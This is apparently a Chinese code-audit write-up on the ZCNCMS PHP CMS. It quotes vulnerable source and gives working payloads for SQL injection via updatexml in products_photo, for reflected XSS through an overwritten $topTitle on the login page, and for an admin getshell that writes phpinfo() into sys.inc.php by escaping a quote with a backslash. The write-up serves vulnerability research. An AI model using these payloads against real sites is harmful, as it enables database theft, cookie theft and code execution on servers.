from:小黑屋
继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,
switch($a) { case 'list':default://list //列表 if (empty($productid)) { $where = ' 1 = 1 '; } else { $where = " productid = '".$productid."' "; } $pageListNum=12;//每页显示 $totalPage=0;//总页数 ---------------------------------------------------------------------- case 'edit':// if(isset($submit)){ $info = array(); $time = time(); if(isset($id)){ $id = intval($id); if($id <= 0){ errorinfo('变量错误',''); } $infoold = $products_photo->GetInfo('',' id = '.$id); } $productinfo = $products->GetInfo('',' id = '.$productid); //20120719 checkClassPower('products',$productinfo['classid']);
当 $a的值为’list’时,$where = ” productid = ‘”.$productid.”‘ “, $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo(”,’ id = ‘.$productid),$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&a=edit&id=7 POST: submit=&productid=12=@`\\\'` and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`
反射型xss
在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.
header("location:./"); exit; } else { //echo 1; $loginerror = '用户名密码错误,请重新登陆.'; $templatefile = 'login.tpl.php'; } } else { $templatefile = 'login.tpl.php'; }
跟踪到/admin/templates/default/login.tpl.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title> <?php if(!empty($topTitle)) echo $topTitle.'-';?> <?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title> <meta name="keywords" content="<?php echo $sys['webkeywords']; ?>"> <meta name="description" content="<?php echo $sys['webdescription']; ?>">
在<title>标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script><script type="mce-no/type">// <![CDATA[ alert(document.cookie) // ]]></script>
后台getshell
在文件/include/admincontroller/sys.php中
$pagetitle = '基本信息'; $pagepower = 'sys'; //基本部分 require('checkpower.inc.php'); //功能部分 include_once(WEB_INC.'file.class.php'); include_once(WEB_INC.'string.class.php'); if(isset($submit)){ $FS = new files(); $STR = new C_STRING(); $info = array( 'isclose' => $isclose, 'closeinfo' => $closeinfo, 'webtitle' => $webtitle, 'indextitle' => $indextitle, 'webkeywords' => $webkeywords, 'webdescription' => $webdescription, 'webcopyright' => $webcopyright, 'webbeian' => $webbeian, 'systemplates' => $systemplates, 'linkurlmode' => $linkurlmode, ); $rs_msg = $STR->safe($info); if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) { errorInfo('编辑成功'); } else { errorInfo();
可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);但是$info经过了safe函数,我们跟踪safe函数
function safe($msg) { if(!$msg && $msg != '0') { return false; } if(is_array($msg)) { foreach($msg AS $key=>$value) { $msg[$key] = $this->safe($value); } } else { $msg = trim($msg); //$old = array("&"," ","'",'"',"\t","\r"); //$new = array("&"," ","'","""," ",""); $old = array("&"," ","'",'"',"\t"); $new = array("&"," ","'","""," "); $msg = str_replace($old,$new,$msg); $msg = str_replace(" "," ",$msg); $old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU"); $new = array("","","","","",""); $msg = preg_replace($old,$new,$msg); } return $msg;
safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php
<?php $sys["isclose"] = '0'; $sys["closeinfo"] = 'comming soon'; $sys["webtitle"] = 'ZCNCMS'; $sys["indextitle"] = 'ZCNCMS专注内容'; $sys["webkeywords"] = 'ZCNCMS专注内容'; $sys["webdescription"] = 'ZCNCMS专注内容'; $sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS'; $sys["webbeian"] = 'ZCNCMS专注内容'; $sys["systemplates"] = 'default'; $sys["linkurlmode"] = '0'; ?>
我们继续跟踪sys.php中的写函数,file_Write()->_write()
//写入信息 function _write($content,$file,$type="wb") { global $system_time; $content = stripslashes($content); $handle = $this->_open($file,$type); @fwrite($handle,$content); unset($content); $this->close($handle); //设置文件创建的时间 $system_time = $system_time ? $system_time : time(); @touch($file,$system_time); return true; }
发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
我们呢可以这样构造
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys POST: isclose=0&closeinfo=1\&webtitle=;phpinfo();//&indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&linkurlmode=0&systemplates=default&submit=%E7%BC%96%E8%BE%91
将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下
成功getshell